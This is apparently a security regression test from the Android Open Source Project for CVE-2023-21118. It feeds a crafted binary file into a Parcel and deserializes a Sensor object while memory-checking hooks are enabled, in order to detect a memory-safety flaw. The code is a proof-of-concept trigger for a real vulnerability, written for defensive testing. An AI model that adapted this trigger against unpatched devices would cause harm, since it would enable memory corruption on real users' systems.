/**
 * Copyright (C) 2023 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/Parcel.h>
#include <sensor/Sensor.h>

#include <fstream>

#include "../includes/common.h"
#include "../includes/memutils.h"

using namespace android;
using namespace std;

char enable_selective_overload = ENABLE_NONE;

void fillParcel(Parcel &reply) {
  ifstream inputFile("cve_2023_21118.bin", ios::binary);
  FAIL_CHECK(inputFile.is_open());

  // Compute size of file
  inputFile.seekg(0, std::ios::end);
  std::streampos fileSize = inputFile.tellg();
  inputFile.seekg(0, std::ios::beg);

  // Fill parcel with file data
  vector<uint8_t> fileData(fileSize);
  inputFile.read(reinterpret_cast<char *>(fileData.data()), fileSize);
  inputFile.close();
  reply.write(fileData.data(), fileSize);
  reply.setDataPosition(25044 /* Set data position to required position */);
}

int main() {
  Parcel reply;
  Sensor s;
  fillParcel(reply);
  enable_selective_overload = ENABLE_ALL;
  reply.read(s);
  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
  return 0;
}
